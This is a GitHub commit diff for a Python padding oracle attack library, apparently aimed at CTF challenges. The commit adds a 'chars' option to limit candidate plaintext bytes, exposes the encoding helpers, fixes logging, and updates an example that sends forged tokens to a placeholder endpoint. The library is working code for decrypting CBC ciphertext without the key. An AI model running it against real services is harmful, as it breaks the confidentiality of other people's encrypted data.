Skip to content

Commit ec6ccc8

Browse files
committed
Add chars arg and modify example code
1 parent e24d304 commit ec6ccc8

File tree

5 files changed

+54
-35
lines changed

5 files changed

+54
-35
lines changed

README.md

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -33,27 +33,26 @@ All you need is defining the **oracle function** to check whether the given ciph
3333

3434
```python
3535
from padding_oracle import *
36-
37-
import requests
36+
import requests, string
3837

3938
# Create a requests.Session to enable connection pool
4039
sess = requests.Session()
4140

4241
# Define a function to test if the cipher can be decrypted
43-
def oracle(cipher):
44-
resp = sess.post('http://some-website.com/decrypt',
45-
data={'cipher': base64_encode(cipher)}).text
46-
assert 'Good' in resp or 'Bad' in resp, 'Exception?'
47-
return 'Good' in resp
42+
def oracle(cipher: bytes):
43+
token = base64_encode(cipher)
44+
resp = sess.post('http://insucure.com/verify_token', data={'token': token})
45+
assert 'failed' in resp.text or 'success' in resp.text, 'exception???'
46+
return 'decryption failed' not in resp.text
4847

4948

49+
# cipher = base64_decode(token)
5050
cipher = b'[______IV______][____Block1____][____Block2____]'
5151

52-
5352
# DECRYPT THE CIPHER!!!
5453
plaintext = padding_oracle(cipher,
5554
block_size=16,
5655
oracle=oracle,
57-
num_threads=64)
58-
56+
num_threads=16,
57+
chars=string.printable)
5958
```

example.py

Lines changed: 13 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,23 +1,28 @@
1+
'''
2+
Boilerplate script for solving padding oracle challenges.
3+
'''
4+
15
from padding_oracle import *
26

3-
import requests
7+
import requests, string
48

59
# Create a requests.Session to enable connection pool
610
sess = requests.Session()
711

812
# Define a function to test if the cipher can be decrypted
9-
def oracle(cipher):
10-
resp = sess.post('http://some-website.com/decrypt',
11-
data={'cipher': base64_encode(cipher)}).text
12-
assert 'Good' in resp or 'Bad' in resp, 'Exception?'
13-
return 'Good' in resp
13+
def oracle(cipher: bytes):
14+
token = base64_encode(cipher)
15+
resp = sess.post('http://insucure.com/verify_token', data={'token': token})
16+
assert 'failed' in resp.text or 'success' in resp.text, 'exception???'
17+
return 'decryption failed' not in resp.text
1418

1519

20+
# cipher = base64_decode(token)
1621
cipher = b'[______IV______][____Block1____][____Block2____]'
1722

18-
1923
# DECRYPT THE CIPHER!!!
2024
plaintext = padding_oracle(cipher,
2125
block_size=16,
2226
oracle=oracle,
23-
num_threads=64)
27+
num_threads=16,
28+
chars=string.printable)

padding_oracle/encoding.py

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -26,18 +26,19 @@
2626

2727
__all__ = [
2828
'base64_encode', 'base64_decode',
29-
'urlencode', 'urldecode'
29+
'urlencode', 'urldecode',
30+
'to_bytes', 'to_str'
3031
]
3132

3233

33-
def _to_bytes(data: Union[str, bytes]):
34+
def to_bytes(data: Union[str, bytes]):
3435
if isinstance(data, str):
3536
data = data.encode()
3637
assert isinstance(data, bytes)
3738
return data
3839

3940

40-
def _to_str(data):
41+
def to_str(data):
4142
if isinstance(data, bytes):
4243
data = data.decode()
4344
elif isinstance(data, str):
@@ -48,20 +49,20 @@ def _to_str(data):
4849

4950

5051
def base64_decode(data: Union[str, bytes]) -> bytes:
51-
data = _to_bytes(data)
52+
data = to_bytes(data)
5253
return base64.b64decode(data)
5354

5455

5556
def base64_encode(data: Union[str, bytes]) -> str:
56-
data = _to_bytes(data)
57+
data = to_bytes(data)
5758
return base64.b64encode(data).decode()
5859

5960

6061
def urlencode(data: Union[str, bytes]) -> str:
61-
data = _to_bytes(data)
62+
data = to_bytes(data)
6263
return urllib.parse.quote(data)
6364

6465

6566
def urldecode(data: str) -> bytes:
66-
data = _to_str(data)
67+
data = to_str(data)
6768
return urllib.parse.unquote_plus(data)

padding_oracle/padding_oracle.py

Lines changed: 23 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@
2525
from typing import Union, Callable
2626
from concurrent.futures import ThreadPoolExecutor
2727

28-
from .encoding import *
28+
from .encoding import to_bytes
2929

3030
__all__ = [
3131
'padding_oracle',
@@ -43,7 +43,7 @@ def remove_padding(data: Union[str, bytes]):
4343
Returns:
4444
data with padding removed (bytes)
4545
'''
46-
data = _to_bytes(data)
46+
data = to_bytes(data)
4747
return data[:-data[-1]]
4848

4949

@@ -61,18 +61,20 @@ def padding_oracle(cipher: bytes,
6161
oracle: Callable[[bytes], bool],
6262
num_threads: int = 1,
6363
log_level: int = logging.INFO,
64+
chars=None,
6465
null: bytes = b' ') -> bytes:
6566
'''
6667
Run padding oracle attack to decrypt cipher given a function to check wether the cipher
6768
can be decrypted successfully.
6869
6970
Args:
70-
cipher (bytes) the cipher you want to decrypt
71+
cipher (bytes|str) the cipher you want to decrypt
7172
block_size (int) block size (the cipher length should be multiple of this)
7273
oracle (function) a function: oracle(cipher: bytes) -> bool
7374
num_threads (int) how many oracle functions will be run in parallel (default: 1)
7475
log_level (int) log level (default: logging.INFO)
75-
null (bytes) the default byte when plaintext are not set (default: b' ')
76+
chars (bytes|str) possible characters in your plaintext, None for all
77+
null (bytes|str) the default byte when plaintext are not set (default: b' ')
7678
7779
Returns:
7880
plaintext (bytes) the decrypted plaintext
@@ -81,23 +83,33 @@ def padding_oracle(cipher: bytes,
8183
# Check args
8284
assert callable(oracle), 'the oracle function should be callable'
8385
assert oracle.__code__.co_argcount == 1, 'expect oracle function with only 1 argument'
84-
assert isinstance(cipher, bytes), 'cipher should have type bytes'
86+
assert isinstance(cipher, (bytes, str)), 'cipher should have type bytes'
8587
assert isinstance(block_size, int), 'block_size should have type int'
8688
assert len(cipher) % block_size == 0, 'cipher length should be multiple of block size'
8789
assert 1 <= num_threads <= 1000, 'num_threads should be in [1, 1000]'
88-
assert isinstance(null, bytes), 'expect null with type bytes'
90+
assert isinstance(null, (bytes, str)), 'expect null with type bytes or str'
8991
assert len(null) == 1, 'null byte should have length of 1'
92+
assert isinstance(chars, (bytes, str)) or chars is None, 'chars should be None or type bytes'
9093

9194
logger = _get_logger()
9295
logger.setLevel(log_level)
96+
97+
cipher = to_bytes(cipher)
98+
null = to_bytes(null)
99+
100+
if chars is None:
101+
chars = set(range(256))
102+
else:
103+
chars = set(to_bytes(chars))
104+
chars |= set(range(1, block_size + 1)) # include PCKS#7 padding bytes
93105

94106
# Wrapper to handle exception from the oracle function
95107
def _oracle_wrapper(i: int, j: int, cipher: bytes):
96108
try:
97109
return oracle(cipher)
98110
except Exception as e:
99-
logger.error('unhandled error at block[{}][{}]: ', i, j, e)
100-
logger.debug('error details at block[{}][{}]: ', i, j, traceback.format_exc())
111+
logger.error('unhandled error at block[{}][{}]: {}'.format(i, j, e))
112+
logger.debug('error details at block[{}][{}]: {}'.format(i, j, traceback.format_exc()))
101113
return False
102114

103115
# The plaintext bytes list to store the decrypted data
@@ -119,7 +131,9 @@ def _block_decrypt_task(i, prev: bytes, block: bytes):
119131
oracle_hits = []
120132
oracle_futures = {}
121133

122-
for k in range(256):
134+
for c in chars:
135+
k = c ^ j ^ prev[-j]
136+
123137
if i == len(blocks) - 1 and j == 1 and k == prev[-j]:
124138
# skip the last padding byte if it is identical to the original cipher
125139
continue

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
setuptools.setup(
77
name='padding_oracle',
8-
version='0.1.4',
8+
version='0.1.7',
99
author='Yuankui Lee',
1010
author_email='[email protected]',
1111
description='Threaded padding oracle automation.',

0 commit comments

Comments
 (0)